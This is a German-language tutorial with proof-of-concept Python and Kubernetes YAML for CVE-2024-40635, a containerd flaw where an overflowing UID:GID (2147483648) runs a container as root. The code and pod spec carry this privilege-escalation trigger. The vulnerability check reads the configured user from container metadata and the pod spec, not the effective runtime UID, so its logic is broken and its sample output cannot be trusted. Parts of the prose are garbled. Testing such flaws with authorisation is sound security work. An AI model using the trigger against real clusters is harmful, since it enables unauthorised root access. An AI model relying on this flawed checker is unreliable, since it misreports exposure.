
Proof-of-Concept-Code zum Nachweis der Schwachstelle CVE-2024-40635
Proof-of-Concept-Code zum Nachweis der Schwachstelle CVE-2024-40635 Daten gesammelt von: https://nvd.nist.gov/vuln/detail/CVE-2024-40635
import docker
Dies importiert die Python-Docker-Bibliothek, die die Interaktion mit Docker über dessen API ermöglicht. Falls diese Bibliothek nicht installiert ist, kann sie mit folgendem Befehl hinzugefügt werden:
pip install docker
client = docker.from_env()
Hier erstellen wir ein Docker-Client-Objekt mit der Methode docker.from_env(). Diese verbindet sich mit dem Docker-Daemon, der auf deiner Maschine läuft (oder, falls konfiguriert, mit einem entfernten Host).
def is_system_vulnerable(container):
try:
# Inspect container details
details = container.attrs
uid_gid = details['Config']['User']
print(f"Container UID:GID = {uid_gid}") # Print the UID:GID
if uid_gid == "0:0": # Root UID:GID
return True
return False
except Exception as e:
print(f"Error checking container details: {e}")
return False
Zweck: Diese Funktion prüft, ob das System verwundbar ist, indem sie die Attribute des erstellten Containers untersucht.
Wichtige Schritte:
container.attrs: Ruft alle Metadaten über den Container ab (Konfiguration, Laufzeiteinstellungen usw.).
details['Config']['User']: Extrahiert die UID:GID (Benutzer- und Gruppen-ID), unter der der Container läuft. Dies ist die Eigenschaft, die wir testen.
print(f"Container UID:GID = {uid_gid}"): Gibt die UID:GID zur besseren Nachvollziehbarkeit immer aus.
Prüfung der Schwachstelle: Wenn die UID:GID den Wert "0:0" hat, bedeutet dies, dass der Container mit Root-Rechten läuft und das System verwundbar ist.
container = client.containers.run(
"vulnerable-image", # Replace with your test image
user="2147483648:2147483648", # UID:GID exceeding 32-bit signed integer
detach=True
)
client.containers.run: Dies erstellt und startet einen Docker-Container.
"vulnerable-image": Ersetze dies durch den Namen eines tatsächlichen Docker-Images, das für Tests geeignet ist.
user="2147483648:2147483648": Hier setzen wir eine benutzerdefinierte Benutzer- und Gruppen-ID (UID:GID). Die Werte überschreiten den Bereich einer vorzeichenbehafteten 32-Bit-Ganzzahl, was die Auslösebedingung für die Schwachstelle darstellt.
detach=True: Dies stellt sicher, dass der Container im Hintergrund läuft, sodass das Skript fortfahren kann, ohne auf das Ende der Containerausführung zu warten.
try:
...
except Exception as e:
print(f"Error: {e}")
Dieser try-except-Block stellt sicher, dass alle Fehler während der Containererstellung oder -ausführung abgefangen und ausgegeben werden, wodurch ein abruptes Beenden des Skripts vermieden wird.
print(f"Container {container.id} started.")
Sobald der Container erfolgreich erstellt und gestartet wurde, wird seine eindeutige ID zur Referenz ausgegeben. Dies ist nützlich für das Debugging oder die weitere Untersuchung des Containers.
if is_system_vulnerable(container):
print("System is vulnerable: Container is running as root!")
else:
print("System is not vulnerable.")
Dies ruft die Funktion is_system_vulnerable auf und übergibt den erstellten Container als Argument.
Basierend auf dem Ergebnis (True für verwundbar, False für nicht verwundbar) wird eine entsprechende Meldung ausgegeben.
Das Skript ist darauf ausgelegt, in seiner Ausgabe detaillierte Informationen bereitzustellen, darunter:
Die dem Container zugewiesene UID:GID.
Eine klare Angabe, ob das System verwundbar ist oder nicht.
Stell dir vor, dieses Skript wird in einer Testumgebung ausgeführt, und dabei passiert Folgendes:
2147483648:2147483648 erstellt.0:0 (root), wodurch der Container mit Root-Rechten läuft.Container abc123 started.
Container UID:GID = 0:0
System is vulnerable: Container is running as root!
Wenn das System große UID:GID-Werte dagegen korrekt behandelt und sie nicht auf root abbildet, könnte die Ausgabe wie folgt aussehen:
Container xyz456 started.
Container UID:GID = 2147483648:2147483648
System is not vulnerable.
"vulnerable-image" durch ein Docker-Image, das zu deinem Testszenario passt (z. B. ein Image mit minimalen Abhängigkeiten).Die Ausführung dieses Proof of Concept (PoC) in einer Live-Umgebung wie Kubernetes und Harbor für Pentesting erfordert eine sorgfältige Planung, um sicherzustellen, dass die Tests kontrolliert, ethisch und wirkungsvoll sind. Hier ist eine Aufschlüsselung, wie du dies durchführen kannst:
1. Planen und Vorbereiten Umfang verstehen: Lege die Grenzen deiner Tests fest. Stelle sicher, dass du ausdrückliche Genehmigungen hast, um Pentests in der Live-Umgebung durchzuführen.
2. Backup: Erstelle Backups kritischer Systeme und Container, falls die Tests deren Verfügbarkeit oder Daten beeinträchtigen.
3 Testumgebung: Richte einen separaten Namespace oder Cluster innerhalb von Kubernetes ein, der diesem PoC gewidmet ist, um Produktionsworkloads nicht zu beeinträchtigen.
Stelle einen Container mit der verwundbaren Version von containerd (v1.6.35-gke.0) in deinem Kubernetes-Cluster bereit.
Verwende ein Docker-Image (z. B. "vulnerable-image") mit minimalen Abhängigkeiten, um die Angriffsfläche klein zu halten.
Beispiel-YAML für die Kubernetes-Bereitstellung:
apiVersion: v1
kind: Pod
metadata:
name: vulnerable-pod
namespace: pentest
spec:
containers:
- name: vulnerable-container
image: vulnerable-image # Replace with your test image
securityContext:
runAsUser: 2147483648 # Intentionally exceed 32-bit signed integer
runAsGroup: 2147483648
Wende das YAML mit folgendem Befehl an:
kubectl apply -f pod.yml
b. Mit dem PoC verifizieren
Führe das von dir entwickelte Python-Skript von einer Maschine aus aus, die Zugriff auf den Kubernetes-Cluster hat. Du kannst das Skript beispielsweise so anpassen, dass es mithilfe der kubernetes-Python-Bibliothek mit Kubernetes interagiert.
Installiere sie mit:
pip install kubernetes
Hier ist ein aktualisierter Ausschnitt zur Kubernetes-Integration:
from kubernetes import client, config
# Load Kubernetes configuration
config.load_kube_config()
# Create a Kubernetes API client
v1 = client.CoreV1Api()
# Check UID:GID for the specified pod
def check_pod_user(pod_name, namespace):
pod = v1.read_namespaced_pod(name=pod_name, namespace=namespace)
uid = pod.spec.containers[0].security_context.run_as_user
gid = pod.spec.containers[0].security_context.run_as_group
print(f"Pod {pod_name} UID:GID = {uid}:{gid}")
if uid == 0 and gid == 0:
print("System is vulnerable: Pod is running as root!")
else:
print("System is not vulnerable.")